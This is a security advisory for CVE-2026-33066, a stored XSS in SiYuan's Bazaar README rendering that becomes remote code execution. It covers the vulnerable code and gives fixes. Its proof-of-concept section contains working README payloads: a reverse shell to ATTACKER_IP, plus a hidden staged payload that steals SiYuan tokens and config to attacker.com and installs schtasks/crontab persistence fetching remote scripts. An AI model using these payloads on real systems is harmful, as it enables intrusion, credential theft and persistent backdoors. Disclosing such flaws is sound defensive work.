---
id: CVE-2026-33066
aliases:
  - GHSA-4663-4mpg-879v
  - GO-2026-4743
title: SiYuan has Stored XSS to RCE via Unsanitized Bazaar README Rendering
summary: SiYuan has Stored XSS to RCE via Unsanitized Bazaar README Rendering
severity: medium
vendor: siyuan-note
product: github.com/siyuan-note/siyuan/kernel
ecosystem: go
affected:
  - github.com/siyuan-note/siyuan/kernel < 0.0.0-20260314111550-b382f50e1880
patched:
  - github.com/siyuan-note/siyuan/kernel 0.0.0-20260314111550-b382f50e1880
published: '2026-03-18'
updated: '2026-07-08'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-4663-4mpg-879v'
references:
  - url: >-
      https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4663-4mpg-879v
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-33066'
  - url: >-
      https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428
  - url: 'https://github.com/siyuan-note/siyuan'
tags:
  - osv
  - go
epss: 0.00684
epssPercentile: 0.50465
ingestedAt: '2026-07-09T18:56:35.873Z'
---

## Overview

# Stored XSS to RCE via Unsanitized Bazaar README Rendering

## Summary

SiYuan's Bazaar (community marketplace) renders package README content without HTML sanitization. The backend `renderREADME` function uses `lute.New()` without calling `SetSanitize(true)`, allowing raw HTML embedded in Markdown to pass through unmodified. The frontend then assigns the rendered HTML to `innerHTML` without any additional sanitization. A malicious package author can embed arbitrary JavaScript in their README that executes when a user clicks to view the package details. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution.

## Affected Component

- **README rendering (backend)**: `kernel/bazaar/package.go:635-645` (`renderREADME` function)
- **README rendering (frontend)**: `app/src/config/bazaar.ts:607` (`innerHTML` assignment)
- **Electron config**: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)

## Affected Versions

- SiYuan <= 3.5.9
- 
## Severity

**Critical** — CVSS 9.6 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)

- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)

Note: This vector requires one click (user viewing the package README), unlike the metadata vector which is zero-click.

## Vulnerable Code

### Backend: `kernel/bazaar/package.go:635-645`

```go
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
    luteEngine := lute.New()  // Fresh Lute instance — SetSanitize NOT called
    luteEngine.SetSoftBreak2HardBreak(false)
    luteEngine.SetCodeSyntaxHighlight(false)
    linkBase := "https://cdn.jsdelivr.net/gh/" + ...
    luteEngine.SetLinkBase(linkBase)
    ret = luteEngine.Md2HTML(string(mdData))  // Raw HTML in Markdown is PRESERVED
    return
}
```

Compare with SiYuan's own note renderer in `kernel/util/lute.go:81`, which **does** sanitize:

```go
luteEngine.SetSanitize(true)  // Notes ARE sanitized — but Bazaar README is NOT
```

This inconsistency demonstrates that the project is aware of the Lute sanitization API but failed to apply it to Bazaar content.

### Frontend: `app/src/config/bazaar.ts:607`

```typescript
fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
    mdElement.innerHTML = response.data.html;  // Unsanitized HTML injected into DOM
});
```

The backend returns unsanitized HTML, and the frontend blindly assigns it to `innerHTML` without any client-side sanitization (e.g., DOMPurify).

### Electron: `app/electron/main.js:422-426`

```javascript
webPreferences: {
    nodeIntegration: true,
    contextIsolation: false,
    // ...
}
```

Any JavaScript executing in the renderer has direct access to Node.js APIs.

## Proof of Concept

### Step 1: Create a malicious README

Create a GitHub repository with a valid SiYuan plugin/theme/template structure. The `README.md` contains embedded HTML:

```markdown
# Helpful Productivity Plugin

This plugin helps you organize your notes with smart templates and AI-powered suggestions.

## Features

- Smart template insertion
- AI-powered note organization
- Cross-platform sync

<img src=x onerror="require('child_process').exec('calc.exe')">

## Installation

Install via the SiYuan Bazaar marketplace.

## License

MIT
```

The raw `<img>` tag with `onerror` handler is valid Markdown (HTML passthrough). The Lute engine preserves it because `SetSanitize(true)` is not called. The frontend renders it via `innerHTML`, and the broken image triggers `onerror`, executing `calc.exe`.

### Step 2: Submit to Bazaar

Submit the repository to the SiYuan Bazaar via the standard community contribution process.

### Step 3: One-click RCE

When a SiYuan user browses the Bazaar, sees the package listing, and clicks on it to view the README/details, the unsanitized HTML renders in the detail panel. The `onerror` handler fires, executing arbitrary OS commands.

### Escalation: Reverse shell

```markdown
# Cool Theme for SiYuan

Beautiful dark theme with custom fonts.

<img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"')">
```

### Escalation: Multi-stage payload via README

A more sophisticated attack can hide the payload deeper in the README to avoid casual review:

```markdown
# Professional Note Templates

A comprehensive collection of note templates for professionals.

## Templates Included

| Category | Count | Description |
|----------|-------|-------------|
| Business | 15 | Meeting notes, project plans |
| Academic | 12 | Research notes, citations |
| Personal | 8 | Journal, habit tracking |

## Screenshots

<!-- Legitimate-looking image reference -->
<picture>
  <source media="(prefers-color-scheme: dark)" srcset="https://attacker.com/dark.png">
  <source media="(prefers-color-scheme: light)" srcset="https://attacker.com/light.png">
  <img src="https://attacker.com/screenshot.png" alt="Template Preview" onload="
    var c = require('child_process');
    var o = require('os');
    var f = require('fs');
    var p = require('path');

    // Exfiltrate sensitive data
    var home = o.homedir();
    var configDir = p.join(home, '.config', 'siyuan');
    var data = {};

    try { data.apiToken = f.readFileSync(p.join(configDir, 'cookie.key'), 'utf8'); } catch(e) {}
    try { data.conf = JSON.parse(f.readFileSync(p.join(configDir, 'conf.json'), 'utf8')); } catch(e) {}
    try { data.hostname = o.hostname(); data.user = o.userInfo().username; data.platform = o.platform(); } catch(e) {}

    // Send to attacker
    var https = require('https');
    var payload = JSON.stringify(data);
    var req = https.request({
      hostname: 'attacker.com', port: 443, path: '/collect', method: 'POST',
      headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
    });
    req.write(payload);
    req.end();

    // Drop persistence
    if (o.platform() === 'win32') {
      c.exec('schtasks /create /tn SiYuanSync /tr \"powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString(\\\"https://attacker.com/stage2.ps1\\\"))\" /sc onlogon /rl highest /f');
    } else {
      c.exec('(crontab -l 2>/dev/null; echo \"@reboot curl -s https://attacker.com/stage2.sh | bash\") | crontab -');
    }
  ">
</picture>

## Changelog

- v1.0.0: Initial release
```

This payload:
1. Uses `onload` instead of `onerror` (fires on successful image load from attacker's server)
2. Exfiltrates SiYuan API token, config, hostname, username, and platform info
3. Installs cross-platform persistence (Windows scheduled task / Linux crontab)
4. Is buried inside a legitimate-looking `<picture>` element that blends with real README content

### Escalation: SVG-based payload (bypasses naive img filtering)

```markdown
## Architecture

<svg onload="require('child_process').exec('id > /tmp/pwned')">
  <rect width="100" height="100" fill="blue"/>
</svg>
```

### Escalation: Details/summary element (interactive trigger)

```markdown
## FAQ

<details ontoggle="require('child_process').exec('whoami > /tmp/pwned')" open>
  <summary>How do I install this plugin?</summary>
  Use the SiYuan Bazaar to install.
</details>
```

The `open` attribute causes `ontoggle` to fire immediately without user interaction with the element itself.

## Attack Scenario

1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
2. The README contains a well-crafted payload hidden within legitimate-looking content (e.g., inside a `<picture>` tag, `<details>` block, or `<svg>`).
3. Attacker submits the package to the SiYuan Bazaar via the community contribution process.
4. A SiYuan user browses the Bazaar and clicks on the package to view its details/README.
5. The backend renders the README via `renderREADME()` without sanitization.
6. The frontend assigns the HTML to `innerHTML`.
7. The injected JavaScript executes with full Node.js access.
8. The attacker achieves RCE — reverse shell, data theft, persistence, etc.

## Impact

- **Full remote code execution** on any SiYuan desktop user who views the malicious package README
- **One-click** — triggered by viewing package details in the Bazaar
- **Supply-chain attack** via the official SiYuan community marketplace
- Payloads can be deeply hidden in legitimate-looking README content, making code review difficult
- Can steal API tokens, SiYuan configuration, SSH keys, browser credentials, and arbitrary files
- Can install persistent backdoors across Windows, macOS, and Linux
- Multiple HTML elements can carry payloads (`img`, `svg`, `details`, `picture`, `video`, `audio`, `iframe`, `object`, `embed`, `math`, etc.)
- Affects all platforms: Windows, macOS, Linux

## Suggested Fix

### 1. Enable Lute sanitization for README rendering (`package.go`)

```go
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
    luteEngine := lute.New()
    luteEngine.SetSanitize(true)  // ADD THIS — matches note renderer behavior
    luteEngine.SetSoftBreak2HardBreak(false)
    luteEngine.SetCodeSyntaxHighlight(false)
    linkBase := "https://cdn.jsdelivr.net/gh/" + ...
    luteEngine.SetLinkBase(linkBase)
    ret = luteEngine.Md2HTML(string(mdData))
    return
}
```

### 2. Add client-side sanitization as defense-in-depth (`bazaar.ts`)

```typescript
import DOMPurify from 'dompurify';

fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
    mdElement.innerHTML = DOMPurify.sanitize(response.data.html);
});
```

### 3. Long-term: Harden Electron configuration

```javascript
webPreferences: {
    nodeIntegration: false,
    contextIsolation: true,
    sandbox: true,
}
```

## Affected packages

- `github.com/siyuan-note/siyuan/kernel < 0.0.0-20260314111550-b382f50e1880`

## Remediation

Upgrade to a patched release:

- `github.com/siyuan-note/siyuan/kernel 0.0.0-20260314111550-b382f50e1880`
